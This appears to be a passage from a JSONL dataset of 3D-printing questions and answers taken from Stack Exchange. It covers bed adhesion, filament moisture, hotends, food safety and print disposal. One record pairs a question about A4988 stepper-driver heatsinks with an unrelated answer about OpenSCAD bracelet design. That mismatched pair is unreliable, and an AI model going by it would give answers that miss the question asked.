aluminum) is slightly bowed, peak in the center; so after levelling the overall bed I try to set the Z-zero so the outer extremes of my object have good adhesion, even if the center region of the first couple layers ends up non-extruding because the nozzle touches the bed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.370168"}
{"id": "hf_cbf07ed6a854", "question": "<p><a href=\"https://i.stack.imgur.com/qNWsZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qNWsZ.png\" alt=\"extruded text on flat surface\"></a></p>\n\n<p>Hey!</p>\n\n<p>Pretty new to all this. Wondering how you would approach this problem to have an extruded element on top of a flat surface. I want to avoid lots of support material (actually no support at all for a cleaner print and no work with sanding etc.) I intend to print this inverted in Z (i.e. text down) for the main structure.</p>\n\n<p>My only idea would be to print it separately and then glue it on. But maybe there is another solution that comes to your mind?</p>\n\n<p>Cheers!</p>\n", "question_body": "", "answer": "Supporting the text while printing should simply not be a problem, if printed in the orientation shown. The text, as per your description and shown in the illustration is extruded vertically and there is no overhang. No support should be needed at all.\nA few notes:\nThe bottom (dark grey) portion of your object does have a significant overhang, and may need some support depending on the specific shape. But support for that should not be near the text or affect it.\nText can be tricky to print with high quality if the width is not much bigger than your nozzle size. This is not specific to text, but rather feature size, slicer settings, and printer/filament capabilities. Experimentation is your friend - print it, and then address any quality problems that you find.\nIf you want the text to be a different color (as in your illustration), you might be in luck. There is a technique to pause the printer at desired layer height, swap out the filament, and resume printing. Your shape would lend itself to this technique. It's not too hard, but the specifics do depend on the software and printer you are using. There are quite a few good writeups on various 3D printing sites. If you want to ask about this, please ask another question, with this information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.392677"}
{"id": "hf_73d4f2db2d6d", "question": "<p>Are there any specific type of FDM 3D printers that I should look for?</p>\n", "question_body": "", "answer": "Not all printers are suitable to print flexible filament. E.g. 1.75 mm filament printers with a Bowden extruder/hotend combination will not work (you may have more luck using 2.85 mm filament, which is stiffer because of the increased diameter). For 1.75 mm filament you require a direct drive extruder, e.g. with the stepper mounted onto the hotend, even then some additional guide parts need to be printed to make it work. This also depends on the amount of flexibility of the filament, some are more flexible than others.\nE.g. Ultimaker 3D printers use 2.85 mm filament with a Bowden setup. They also sell a flexible filament that can be printed with these printers. Even for direct drive extruder printers like the Anet A8 (a cheap Chinese Prusa i3 clone) inserts exist (e.g.\nthis\nor\nthis one\n) to even better guide the filament to prevent it to buckle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.422006"}
{"id": "hf_bef460e48a9f", "question": "<p>A couple weeks before, I bought a custom 3D printer that has an Ultimaker 2 motherboard in it. However, the dimensions of the printer is not same with Ultimaker 2 (X and Y same, a bit smaller on Z). The printer had tinkerfirmware installed in it. Today, I tried to print a premade .gcode file (Which was for another 3D printer I guess) and after pressing print, The machine told me the file will overwrite machine settings, and I pressed yes for it. After that, the dimensions of my 3D printer has changed in it's firmware. The bed is raising more than it should while starting calibrating, and not setting it's position precisely. (To make the 1mm gap, I had to move the bed down 4-5mm away from where it should be.) Now the question is, what can I do to fix this problem ? I also tried reinstalling original firmware which didn't really worked. (All the parts are orginal except the frame, which is a bit more smaller on height) How should I measure the height of printing area?</p>\n", "question_body": "", "answer": "Your printer is an Ultimaker clone or something else?  All of the original firmwares located on TinkerGnome's Github are configured for Ultimaker printers so if you are using them on something different you will need to configure it before using it.  The easiest option would be editing this print file that changed your settings to your desired settings and then reloading it.\nHow to find your actual Z? Well that's a bit difficult without more information.  I'm guessing from your description that your printer homes at Z max?  If it's homing at Z max you need to home the machine, jog the Z axis to where you want 0 to be (usually using a piece of paper between the nozzle and bed), then record the Z axis position and enter that as your travel limit in the firmware.  If your printer homes at Z min this could be as simple as changing the homing offset.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.445574"}
{"id": "hf_15cb6a636eec", "question": "<p>I've heard I should store filament in sealed container, preferably with a desiccant. </p>\n\n<p>But let's say I let a spool get a little old on the printer, or I purchased a filament spool that was old or improperly packaged. How would I know? How would this impact prints (what kind of symptoms would I see)? What things could I do (perhaps in the slicer) to correct for this and prolong the life of marginal filament?</p>\n\n<p>And the corollary... in a typical environment, how long can filament be left out without suffering from the exposure?</p>\n\n<p>I'm thinking mainly about PLA, but responses for ABS and other materials are useful, too.</p>\n", "question_body": "", "answer": "The primary issue with long-term exposure of filament to the environment is that it will absorb water moisture from the air. When a filament that has absorbed water is passing though the hot end of a printer, the water will turn to steam and cause problems with extrusion:\nSmall bubbles of steam can form, causing extrusion to sputter - you might hear a sizzling noise and have poor consistency.\nLarge steam bubbles can cause significant oozing followed by no extrusion.\nExtreme cases can cause mysterious jams that seem to clear themselves (the extruder cannot overcome the steam pressure).\nIn short, this will cause terrible print quality and failed prints. As the effects are not consistent, there is nothing that can be done by slicer settings to \"recalibrate\" for filament that has absorbed water.\nThis can be avoided by storing filament in an air-tight container with desiccant to ensure low humidity. Some people use \"dry boxes\" that allow the spool to be mounted inside while filament can be passed to the printer, so there is minimal exposure even while the spool is in use.\nIf you do suspect that your filament has absorbed moisture, you can dry it out, by placing the spool in a warm oven or in a food dehydrator for a few hours. If you weight it before and after, you should find that it weighs several grams less afterwards.\nWARNING:\nIt is important that the temperature does not soften the plastic at all, or it can become distorted or bind on the spool. Most ovens will peak well above the set temperature as the thermostat cycles. Of course, fully melting a roll of filament could destroy your oven or cause a fire.\nIt's hard to say how much environmental exposure is too much, as every filament and environment is different. When I started out, I had several spools of PLA that I stored in the open for months. I didn't think I was having any problems, but I was also learning much and improving my printer settings at the same time. After getting PETG, it became unusable with oozing and jams after about two weeks but a few hours in my oven was a miracle cure! I then dried some PLA as well, and I found that print quality did improve, but not amazingly so. I have not used ABS, but in theory it is less hygroscopic than PLA, so it is probably not very sensitive to exposure.\nI set up a dry storage box, and I am careful to always store PETG or my \"good\" PLA when I'm not actively using it. I have a couple rolls of PLA that I don't like as much anyway and generally just use for draft prints, and I don't really worry about it that much.\nNote: An object that has been printed will also absorb moisture, but in general this isn't a problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.479722"}
{"id": "hf_45daa826e3fe", "question": "<p>I had recently purchased an ender 3 and after setting it up and plugging it in, I received an electrical shock from the power supply. I live in the UK and so I was provided an EU to UK adapter which I used and I set the voltage to 230&nbsp;V.</p>\n\n<p>Does anyone know why I was shocked and if there is any solution? Was it because EU to UK isn’t grounded (or am I wrong)?</p>\n\n<p>Would an older 10 amp monitor power cable work better as it’s grounded? </p>\n", "question_body": "", "answer": "The \"shock\" is likely from noise filtering circuitry at the power supply's input. For filtering, every power supply has a small capacitor that connects the live input wire to ground (a so-called \"class Y capacitor\"). A small amount of current can flow through this capacitor, which can give an annoying, but otherwise harmless shock/tingle. Grounding the power supply would solve the problem (which you should do anyways, because it is dangerous to run electronics that are supposed to be grounded without ground).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.506637"}
{"id": "hf_5193d8366145", "question": "<p>I have an Adventurer 3 printer from Flashforge and every time I unclog it, it gets clogged up again. I’ve done about 6 or 7 prints with it. So after I unclog it, I load the filament and it comes out of the nozzle like it should but once I start a 3D print, it’s clogged again. The process of what I do to unclog it is by heating the nozzle up and then shove a small metal rod down the nozzle to push out the clogged filament. I do this several times until its all gone. I’ve read up on what I can do to prevent it but it doesn’t seem to work. What should I do? <img src=\"https://i.stack.imgur.com/WT9Cg.jpg\" alt=\"enter image description here\"><img src=\"https://i.stack.imgur.com/1zjzA.jpg\" alt=\"enter image description here\"></p>\n", "question_body": "", "answer": "The Flashforge documentation is not much help, so unless there's a way for you to connect with their user community (because, maybe what you're dealing with is a known issue related to firmware or the machine itself) or Flashforge's customer service folks, you've got some fun detective work ahead of you. Seriously--you will enjoy solving this!\nSo: It will help to teach yourself the ABC's of clog symptoms, so you can see what the cause(s)\ncould\nand\ncouldn't\nbe, in your situation. This is\nnot a bad starter guide\n, and there are lots of others. You say you've \"read up\" on preventive measures--that's great! When your original post says, \"but it doesn’t seem to work,\" please understand, though, that we who read don't yet know what \"it\"\nmeans\n, in this case. Clarity & details are you friends here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.536140"}
{"id": "hf_af99b3795020", "question": "<p>I need help with finding what properties or designs I need to look for. I know that I will need these characteristics to work with the material of my choice:  </p>\n\n<ul>\n<li>Can reach 300&nbsp;°C or up</li>\n<li>Can handle nozzle size larger than 1&nbsp;mm</li>\n<li>Can be used with polycarbonate filament</li>\n</ul>\n\n<p>I plan to use it in a custom RAMPS 1.4 3D printer running the Marlin firmware, in case this changes something. </p>\n", "question_body": "", "answer": "By  interpreting your question as\n\"Can most hotends print polycarbonate at 300°C+?\"\n, and taking into consideration the answers to\nCan cheap hotend parts sourced from China actually produce good prints?\n1\n, then it would seem to be safe to assume\n2\nthat most hotends can, given a few adjustments or considerations:\nUse of a PT100\n3\nor thermocouple, en lieu of a thermistor\nUse of PTFE tubing\nTaken directly from\nE3D's V6 product info\n:\nThe V6 can comfortably reach 285°C with the supplied thermistor. By swapping a thermistor for a thermocouple (may require additional electronics) or PT100 you can reach over 400°C. This not only allows you to print extremely high temperature materials like Polycarbonate and Nylons but also eliminates HotEnd meltdown failures associated with PEEK/PTFE designs. The PTFE filament guide inside the V6 HotEnd is never subjected to high temperatures, so there is no risk of damage through overheating.\nFootnotes\n1\nThe materials used by cheaper clones of the higher quality, more expensive, branded hotends are\nprobably\nthe same as those used in the branded hotends, and indeed are probably produced using the same pirated patterns/molds/casts, but with less care and quality involved. They can even be produced in\nthe same factory\n, but are items that have failed the QA tests, and as such are not deemed to be\nbrandable\n.\n2\nAlthough, to paraphrase a quote from a movie: Assumptions can be considered to be the mother of all\ndisasters\n.\n3\nA Pt100 or Pt1000 is a Platinum RTD (\nResistance Temperature Detector\n) with a resistance of 100 ohms at 0°C which changes with temperature. From this manufacturer's\nwebsite\n:\nA Pt100 or Pt1000 is a Platinum RTD (Resistance Temperature Detector) with a resistance of 100 ohms at 0°C which changes with temperature. They are suitable for applications in the temperature range of -200°C to 600°C but are more commonly used in the range -50°C to +250°C. These temperature sensors are reliable and can offer a higher degree of accuracy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.559913"}
{"id": "hf_10399cac0fc6", "question": "<p>The company I work for is protective of IP and has security procedures for disposing of anything that could be stolen for industrial espionage.  Paper gets shredded and sent to trusted recycling center, all old data storage media gets obliterated, but what do we do with 3D prints?  For any functional prototype, I have 10 or more early versions and failed prints.  Is there a good way to dispose of these so that they are unrecognizable?  Given the volume of prints I need to dispose of, it should be safe, cheap, and able to handle large batches.</p>\n", "question_body": "", "answer": "If your company has a shredder which would handle large amounts of paper at one time, it should be able to handle the plastics from 3D printing. Most larger shredders can handle paper clips and staples. 3D plastics would be even less of a burden than them. You may need to break the pieces down into smaller chunks, but I doubt it would be an issue. Even destroying most prints by hand shouldn't be too arduous.\nSecondarily, you could also melt them using something hot ... a heat gun would probably do the job without issue.\nThey get in excess of 1100°F\n. Since we\nusually\nmelt filament at around 200°C (~392°F), a heat gun should be more than hot enough to make it an unrecognizable blob of plastic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.607730"}
{"id": "hf_d80f12495697", "question": "<p>I've got a bracelet concept that I've sketched up as a flat design. I'm trying to found a route by which I can extrude this into a 3d object (depth map?), curve it into a bracelet, then ultimately create a STL file out of it. I'm having trouble finding a way to do this that allows me to \"warp\" the flat object into a bracelet before I try to print. </p>\n\n<p>Is there a recommend technique for this? I'm not worried about representation of the picture; it's effectively meant to be an 'etched' pattern.</p>\n", "question_body": "", "answer": "This may not be your cuppa tea, but if you're willing to learn to use\nOpenSCAD\nor already know how, there's a\nThingiverse\npost that appears to directly address your objective.\nCorrection, this particular post on Thingiverse consists of a series of Python files, of which I have zero experience/qualifications. It may still be of value, if you are Python capable.\nAnother resource that is strictly OpenSCAD is from Eric Buijs, a rather talented 3D design person. His YouTube channel has a number of useful tutorials for both OpenSCAD and Solvespace.\nThis video\nin particular describes applying a flat object to a curved one using OpenSCAD, resulting in a lithophane.\nAs I created this answer, I did not re-watch the 12+ minute video, but I recall how he explains clearly how the program dissects the surface into a number of flat panels and then superimposes the image on each segment. From this presentation, I suspect one could expand to a full cylinder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.648470"}
{"id": "hf_53a11bcf7e57", "question": "<p>When exchanging the mainboard of my Ultimaker Original, I found the new (unoriginal) mainboard to have a condensator that is quite a little higher than on the original, which means the fan duct doesn't fit any more.</p>\n\n<p>I read somewhere that those A4988 stepper motor drivers don't have to be actively cooled, but a heatsink will be sufficient:</p>\n\n<p><a href=\"https://i.stack.imgur.com/oJmlL.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oJmlL.jpg\" alt=\"A4988 stepper motor driver with heatsink\"></a></p>\n\n<p>After testing the theory I found the heatsinks to be really hot, but not too hot to touch. Sadly I do not have any means of temperature measurement other than my fingers...</p>\n\n<p>How hot do they normally get, when should I abort printing and look for a different solution?</p>\n\n<p>Are there any good solutions other than the original cooler &amp; cooling duct?</p>\n", "question_body": "", "answer": "This may not be your cuppa tea, but if you're willing to learn to use\nOpenSCAD\nor already know how, there's a\nThingiverse\npost that appears to directly address your objective.\nCorrection, this particular post on Thingiverse consists of a series of Python files, of which I have zero experience/qualifications. It may still be of value, if you are Python capable.\nAnother resource that is strictly OpenSCAD is from Eric Buijs, a rather talented 3D design person. His YouTube channel has a number of useful tutorials for both OpenSCAD and Solvespace.\nThis video\nin particular describes applying a flat object to a curved one using OpenSCAD, resulting in a lithophane.\nAs I created this answer, I did not re-watch the 12+ minute video, but I recall how he explains clearly how the program dissects the surface into a number of flat panels and then superimposes the image on each segment. From this presentation, I suspect one could expand to a full cylinder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.673702"}
{"id": "hf_330cb3f97bed", "question": "<p><strong>problem solved by resetting cura.</strong></p>\n\n<p>I have problems like this: How can I fix this? I can't find the right setting.</p>\n\n<p><a href=\"https://i.stack.imgur.com/2cf9Q.png\" rel=\"nofollow noreferrer\" title=\"No top layer\"><img src=\"https://i.stack.imgur.com/2cf9Q.png\" alt=\"No top layer\" title=\"No top layer\"></a></p>\n\n<p>Also, what are these yellow lines? Do you know how to remove them? They disappear when I disable to show the brim/raft/skirt.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Bj7Sx.png\" rel=\"nofollow noreferrer\" title=\"Yellow lines #1\"><img src=\"https://i.stack.imgur.com/Bj7Sx.png\" alt=\"Yellow lines #1\" title=\"Yellow lines #1\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/BnAc4.png\" rel=\"nofollow noreferrer\" title=\"Yellow lines #2\"><img src=\"https://i.stack.imgur.com/BnAc4.png\" alt=\"Yellow lines #2\" title=\"Yellow lines #2\"></a></p>\n", "question_body": "", "answer": "I'm pretty sure the yellow lines are showing the full path of the extruder head, including where it's retracted.  Somewhere in Cura's maze of menus, there's an option to turn on/off various displays related to the slicing.\nAs to why the top layer isn't there -- most likely it's too thin in your source  model.  You might try enabling \"Print thin walls\" options in the Preferences advanced list.  BTW, if you post the original STL or CAD file, we might be able to provide more accurate diagnosis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.729726"}
{"id": "hf_299ac2979645", "question": "<p>Can the glTF format be used for 3D printing?</p>\n\n<p>If not, is there any tool can convert it to another format such as STL, OBJ, STEP, and IGES? </p>\n", "question_body": "", "answer": "As far as can be found it should be possible to convert glTF into STL (or OBJ).\nYou could try to use an online converter to do this, e.g.\nthis one (greentoken)\n; and\nthis (assimp)\nmay be useful too.\nAccording to\nthis\ngreentoken supports glTF as input and STL as output, but it is reported by @Trish that that does not work. Assimp could output STL files which then could be used by slicer programs to generate the specific G-code file to print the model on your printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.757458"}
{"id": "hf_dcb9e9cc5304", "question": "<p>I'm looking for clamps to fix the glass on my heatbed. After some search I found that some people use clamps printed of PLA. Can I use PLA clamps for a heated heatbed (~60&nbsp;°C)? </p>\n\n<p>I also tried foldback clips but they block my nozzle. The Anet A8 starts in the front left corner. When I start to print, the nozzle moves a little bit up on z, then up on y and right on x. At this first move it moves into the fold back clip. I'm looking for a way to fix the corners and not to fix the edge in the middle.</p>\n\n<p>What other clamps or clips can I use to fix the glass (~3&nbsp;mm) on the heatbed (~2.5&nbsp;mm)? I don't want to use glue.</p>\n\n<p>My printer is an Anet A8.</p>\n", "question_body": "", "answer": "Let's analyze the problem:\nWe have a 5.5 mm total thickness.\nWe want to (semi)permanently affix the two layers together mechanically.\nThe clips shall not be higher than about 0.2 mm to allow the nozzle to pass over them.\n(non)Solution attempt zero:\nLet's look at the problem objectively... we can print something, can we? Well... 0.2 mm or below of PLA means 0.2mm of PLA that need to withstand the stress of trying to push the glass to the bed. PLA, just like any plastic, isn't super strong in thin layers, especially when heated to 60°C to get a good bed adhesion. And then you might want to print something like ABS, which demands an 80°C or higher bed temperature. The result will not be pretty: either the clip breaks after a very short time or it starts to bend. The result: no clip, bed slipping free.\nSolution attempt one:\nLet's look at old picture frames that consist of just a glass sheet and a paper/wood backing. A \"Frameless Picture Frame\" like\nthis one\n1\n. These clips do need some kind of mounting on the underside.\nUsing this design as a base, you might either get these clips or make similar ones yourself. But how to mount them?\nWell, here comes the nice part: we got some options.\nGlue or solder the clips to the underside of the bed. Removing the sheet gets a PITA, but is still possible\nCutting mounting slots for the clips. The sheet can be removed by removing the clips now. But the bed heating might not like us cutting slots into the aluminium.\nAdding a mounting point. Again, we can use glue or solder to add some kind of framework that we mount the clips to. Like a piece of aluminium U-profile with the opening to the centre of the bed, giving us mounting points for the clips.\n1 - This was just the first one that I found that had the right setup. I am not affiliated with them and don't get money for this.\nSolution attempt two:\nTake this idea up a notch and look for this same principle applied.\nThere is the\n\"Swiss Made Glass Retaining Clip\"\nPerplexed Dipole\nmentioned. Good idea, and instead of having to cut a notch into the aluminium bed, a simple, small hole would be sufficient. About the same price than a frameless picture frame but less construction work!\nAnd then there is, of course, the option to look at the Ultimaker and its\nBuild Plate Clamps\nlike\n0scar\nmentioned. If you can get them (also in the same price range as the other options) you even might have an easy installation: they are supposed to be mounted in the corners of the build plate by being held by the springs. For the A8, you'll have to possibly adjust the mounting point some, maybe even give them a little nub to pivot around to secure them in place, but this clearly is a solution too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.781033"}
{"id": "hf_9b64366f9ddc", "question": "<p><em>The pictures explain my problem. I have already tried to reduce the retraction but that showed no effect. Thank you for your help.</em> </p>\n\n<p>The effect is a total stop of the print (no material is extruded).</p>\n\n<ul>\n<li>Creality CR 10</li>\n<li>Cura 3.4.1</li>\n</ul>\n\n<p>I recently added this new feeder aluminium block because the 3D printed stock version was bad quality.</p>\n\n<p><a href=\"https://i.stack.imgur.com/05Kkq.jpg\" rel=\"nofollow noreferrer\" title=\"Filament not entering Bowden tube\"><img src=\"https://i.stack.imgur.com/05Kkq.jpg\" alt=\"Filament not entering Bowden tube\" title=\"Filament not entering Bowden tube\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/qzUD5.jpg\" rel=\"nofollow noreferrer\" title=\"Close up\"><img src=\"https://i.stack.imgur.com/qzUD5.jpg\" alt=\"Close up\" title=\"Close up\"></a></p>\n", "question_body": "", "answer": "This is typically caused by resistance in the tube or hotend but in your case it appears to be mostly caused by a very poorly designed extruder.  The filament needs to be constrained closer to the drive gear.  You may be able to drill out the PTC connector to allow the PTFE tube to reach closer to the gears or print a spacer to fit in between but you need to support the filament in that gap.\nYou can try raising the hotend temperature as a band-aid until you can fix the problem, do not exceed 240 C if you have a PTFE lined hotend. Long retractions can also pull molten filament into the cold zone where it solidifies and make extrusion harder.\nAs an example, here is a picture of a Bondtech BMG extruder.  Note how the extruder constrains the filament path all the way from the drive gear to the hotend entrance.  While this example is extreme for normal PLA/PETG/ABS, it is required for flexible filament.  A 4mm gap (or closer) should be fine for PLA/PETG/ABS or other hard filaments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.806156"}
{"id": "hf_bea3e4ff9d10", "question": "<p>There's PLA filament clogged in my Bowden tube, is there a best practice for cleaning it out or do I need to replace the whole tube?</p>\n<p>Also, the couplings are totally stuck, so I guess those would need replacement too or are there ways to get stuck couplings off?</p>\n<p>Click <a href=\"https://streamable.com/bi73e\" rel=\"nofollow noreferrer\">here</a> for a video.</p>\n", "question_body": "", "answer": "If you are able to force the filament from the interior of the bowden tube without causing damage to the tube, you will be able to determine the cause of the clog. My bowden tube clogged recently, but it was because I left the system idle with old filament inside. The filament broke from brittleness and the edge of the broken pieces managed to wedge against the tube.\nI was able to use a \"healthy\" piece of filament along with great force (pliers pushing close to the tubing end) and remove the damaged filament.\nOnce removed, the new filament slid easily within.\nYour PTC fittings may not have to be replaced if the tubing is not damaged inside and if the existing spacing meets your requirements. A PTC fitting has a ring of teeth which gouge and/or grasp the outside of the tubing preventing removal. It is frequently necessary to push the tubing into the fitting, then compressing the release ring followed by pulling the tubing.\nThe PTC fitting at the end where only the filament exits is probably a stock fitting. The fitting which has the bowden tube extending through it has been drilled and may be challenging to find. Your best source for such a fitting is the original manufacturer.\nIt's clear in the video that the threaded portion of the two fittings are different.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.830040"}
{"id": "hf_14763167feff", "question": "<p>I've been looking into the viability of manufacturing a replacement part for a kitchen blender that has a broken part. I found <a href=\"https://all3dp.com/1/food-safe-3d-printing-abs-pla-food-safe-filament/\" rel=\"nofollow noreferrer\">this page that talks about what makes a print food safe</a>. One of the items mentioned was:</p>\n\n<blockquote>\n  <p>... a brass extruder may contain lead, and lead contamination can cause some nasty health problems. ...</p>\n</blockquote>\n\n<p>I own an Ender 3, and I haven't replaced the nozzle yet. How can I tell if my printer is capable of creating food safe prints in its current state?</p>\n", "question_body": "", "answer": "Yes you have to change brass nozzle it contains lead.\nIf you are planning to print in PLA don't do that because  PLA filament we are using in 3D printer are not food safe it contains some nasty colour dyes which are not food safe. Consider some special food safe filaments available in market. I think extruder gears are also made up of brass. Consider also changing them.\nSteel extuder gears are available in market like below", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.852443"}
{"id": "hf_95e7c5043010", "question": "<p>I am a newbie to 3D printing and ran into a weird infill line on my second 3D printing object on a new Qidi X-Pro machine (which works great). I've included a screenshot of the infill line, which is deliberately printed the full height of the object. I'm thinking this line has been deliberately inserted by the Qidi slicer for some reason, but I have no idea why. Do all slicers generate these kinds of lines? If so, why?</p>\n\n<p><a href=\"https://i.stack.imgur.com/s1SAU.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/s1SAU.jpg\" alt=\"Print object showing extra infill line\"></a></p>\n", "question_body": "", "answer": "I do not know the Qidi slicer, but if you look closely, you will see this line is thinner than the normal support infill lines. You could try to visualize the G-code in a viewer, usually this can be done in the slicer itself, but\nonline viewers\nare available. The viewer will not only show the printed lines, but also show moves by the print head (usually in a different color). You can check whether this extra line is actually printed or a move. If it is a move, this extra line is caused by your hotend which is leaking when it moves. You need to properly tune the hotend with respect to the retraction settings and temperature. There are numerous retraction test print objects to find on the internet.\nDepending on your slicer settings, some slicers are able to define where each layer starts printing (e.g. random, or start at sharp corner). The fact you see a support structure \"printed the full height of the object\" tells you that each layer starts at the same position. It is not uncommon in uniform simple parts where each layer starts at the same position (X/Y) as this is instructed by the slicer setting. In Ultimaker Cura such an option is called\n```\nZ Seam Alignment\n```\n.\nBottom line, all slicers will do this when your printer is improperly tuned (incorrect settings for e.g. print temperature, retraction, coasting, travel speed). It is up to you to find the correct settings, test print objects help you with that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.876492"}
{"id": "hf_9c787fe4cb97", "question": "<p>I'm building a 3d printer of size 500 x 500 x 500 build area. For the Z axis, I'm planning to use this <a href=\"https://www.3dprintronics.com/Linear-Actuator-Ball-Screw-1204-p108536003\" rel=\"nofollow noreferrer\">Linear actuator</a>. </p>\n\n<p>The maximum weight Z axis might encounter is 15 Kg due to it being a clay printer. A single linear actuator can, according to the specs, lift 10 Kg. So I'm planning to use two of this.</p>\n\n<p>My question is a ball screw of pitch 4mm or 5mm, will it be able to Maintain it's position when the motor is de-energized under a load of 15 kg shared by two systems.</p>\n\n<p>What effect the diameter of rod has on it??</p>\n\n<p>Is there any way to find that??</p>\n", "question_body": "", "answer": "My question is a ball screw of pitch 4mm or 5mm, will it be able to Maintain it's position when motor is deenergized under a load of 15 kg shared by two systems.\nThe detent torque of a\ntypical NEMA 23 stepper\nvaries between around 3 and 7 N·cm. This is the torque produced when the windings are not energized.\nUsing this\nleadscrew torque calculator\n, you can find that the torque required for a 12 mm diameter, 4 mm pitch leadscrew to hold up a 75 N load, is around 5 N·cm - assuming there is no friction. If there is friction, then the required torque will be lower.\nSo, the torque required is almost equal to or possibly even higher than the detent torque. Therefore, you should not count on a de-energized motor holding up the build platform. In practice, you might see that friction is enough to hold up the build platform, but that any disturbance (such as somebody bumping into the printer) is enough to get the leadscrews to start spinning and have the platform drop like a rock.\nWhat effect the diameter of rod has on it?\nIncreasing the pitch also increases the torque required (so, go with a lower pitch leadscrew). The diameter does not affect the torque directly, but having a larger diameter increases the friction and so is beneficial.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.899020"}
{"id": "hf_a21fd0eb09fe", "question": "<p>When modelling for 3D printing, can I distinguish somehow the type of infill in various areas of the model? Say there may be some areas in the model where I want 100% infill (maximum strength) but some areas where the infill can be less (maybe 25%).</p>\n\n<p>I am new to 3D printing, doing my first model (enclosure for electronics - camera module). Using tinkercad.com only so far. Places where 100% infill is wanted are usually walls of the case and \"threads\" for the bolts but I want to make the enclosure as stiff as possible as a whole so I am thinking about using some sparse infill in the \"free space\" inside of the enclosure (so that it does not break so easily when it falls to the ground etc). I just do not know how to define this within the model.</p>\n", "question_body": "", "answer": "I found out I misunderstood some principles of designing/modelling for 3D printing.\nI designed my object for 100% infill which is not really necessary. It turned out that one does not mostly have to take care of the infill % and just model the object for example as solid 3D cube and the printing service will then take care of it to print well, hopefully slicing it well for printing and choosing the correct infill percentage.\nSo instead of 